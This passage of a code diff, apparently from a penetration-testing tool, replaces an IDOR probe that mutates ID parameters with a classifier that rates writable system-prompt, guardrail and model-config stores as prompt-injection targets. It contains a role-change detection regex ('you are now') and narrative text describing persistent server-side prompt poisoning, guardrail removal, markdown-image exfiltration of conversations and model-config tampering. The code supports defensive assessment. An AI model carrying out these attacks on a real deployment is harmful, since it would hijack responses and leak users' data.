+      /\binstructions?\b/i,
+      /\bpersona\b/i,
+      /you are (?:a|an|now|the)/i
+    ]
   }
-  if (!idKey) {
-    for (const [k, v] of Object.entries(parsed.params)) {
-      if (/^\d+$/.test(v)) {
-        idKey = k;
-        idValue = parseInt(v, 10);
-        break;
-      }
-    }
+];
+function looksLikePromptLayer(haystack) {
+  return PROMPT_LAYER_IMPACT_RULES.some((rule) => rule.patterns.some((p) => p.test(haystack)));
+}
+function classifyPromptLayerImpact(asset) {
+  const haystack = [asset.table, asset.column, asset.sample].filter(Boolean).join(" ");
+  const isPromptLayer = looksLikePromptLayer(haystack);
+  if (!isPromptLayer) {
+    return {
+      isPromptLayer: false,
+      impacts: [],
+      severity: "info",
+      narrative: "No prompt-layer signal: the asset does not look like a system prompt, guardrail, model config, or output-channel store. Not a prompt-layer write target."
+    };
   }
-  if (!idKey)
-    return notVerifiable("no numeric id-like parameter to mutate");
-  const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: String(idValue) })));
-  if (!baseline)
-    return notVerifiable("baseline request failed");
-  const variants = [String(idValue + 1), String(Math.max(0, idValue - 1)), "0"];
-  const hits = [];
-  for (const variant of variants) {
-    if (variant === String(idValue))
-      continue;
-    const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: variant })));
-    if (!probe)
-      continue;
-    if (probe.status === 200 && probe.body.length > 0 && probe.body !== baseline.body) {
-      hits.push(`${idKey}=${variant} status=200 body_delta=${Math.abs(probe.body.length - baseline.body.length)}`);
+  const impacts = [];
+  for (const rule of PROMPT_LAYER_IMPACT_RULES) {
+    if (rule.patterns.some((p) => p.test(haystack))) {
+      impacts.push(rule.impact);
     }
   }
-  if (hits.length > 0) {
+  if (!asset.writable) {
     return {
-      verified: false,
-      confidence: 0.7,
-      evidence: `distinct responses on id mutation: ${hits.join(", ")}`,
-      reason: "distinct ID responses are a candidate only; identity and resource ownership were not established"
+      isPromptLayer: true,
+      impacts: [],
+      severity: "low",
+      narrative: `Prompt-layer asset detected (${describeAsset(asset)}) but no write path was confirmed from this foothold. Read exposure only \u2014 flag for review; re-check write privileges (SHOW GRANTS / admin edit endpoint) before claiming impact.`
     };
   }
-  return notVerifiable("no distinct 200 response on id mutation");
+  const reRead = asset.reReadAtInference === true;
+  const severity = reRead ? "high" : "low";
+  const impactLabels = impacts.map((i) => IMPACT_NARRATIVE[i]);
+  const narrative = [
+    `WRITABLE prompt-layer asset (${describeAsset(asset)}).`,
+    reRead ? "The app re-reads this row at inference, so a write persists as a server-side prompt injection affecting EVERY future response for all users until reverted \u2014 invisible to end users and surviving restarts." : "Re-read-at-inference was NOT confirmed; impact may be limited if the prompt is cached or baked into code/env. Confirm the worker queries this row per request before escalating.",
+    `Impact class(es): ${impacts.join(", ")}.`,
+    ...impactLabels.map((l) => `- ${l}`),
+    "Verification-only: NO destructive write was performed; write capability is asserted from privilege/endpoint evidence."
+  ].join("\n");
+  return { isPromptLayer: true, impacts, severity, narrative };
 }
-async function verifyOracleByCategory(finding, target) {
-  const category = finding.category;
-  switch (category) {
-    case "sql-injection":
-      return verifySqli(finding, target);
-    case "xss":
-      return verifyReflectedXss(finding, target);
-    case "ssrf":
-      return verifySsrf(finding, target);
-    case "command-injection":
-    case "code-injection":
-      return verifyRce(finding, target);
-    case "path-traversal":
-      return verifyPathTraversal(finding, target);
-    // Heuristic: "information-disclosure" findings referencing an id param
-    // look a lot like IDOR. We route them through the IDOR oracle as well.
-    case "information-disclosure":
-      return verifyIdor(finding, target);
-    default:
-      return {
-        verified: false,
-        confidence: 0,
-        evidence: "",
-        reason: `no oracle for category="${category}"`
-      };
-  }
+var IMPACT_NARRATIVE = {
+  prompt_poisoning: "prompt_poisoning: rewriting the system prompt / persona hijacks every response (exfil instructions, scams, malicious links, brand damage).",
+  guardrail_removal: "guardrail_removal: editing safety/refusal/policy text or flipping a moderation flag jailbreaks the model by config \u2014 it answers what it refused.",
+  output_channel_exfil: "output_channel_exfil: injecting markdown-image/link or output-sink instructions silently exfiltrates conversation data on every turn.",
+  model_config_tamper: "model_config_tamper: swapping model name, raising temperature, or rewiring tool/function config degrades safety or steers the agent to attacker tools."
+};
+function describeAsset(asset) {
+  const loc = [asset.table, asset.column].filter(Boolean).join(".");
+  return loc || "unnamed asset";
 }
 
 export {
+  parseRequest,
+  verifyOracleByCategory,
   parseSanitizerLog,
   renderSanitizerVerdict,
   detectPlaybooks,
   buildPlaybookInjection,
-  classifyPromptLayerImpact,
-  verifyOracleByCategory
+  classifyPromptLayerImpact
 };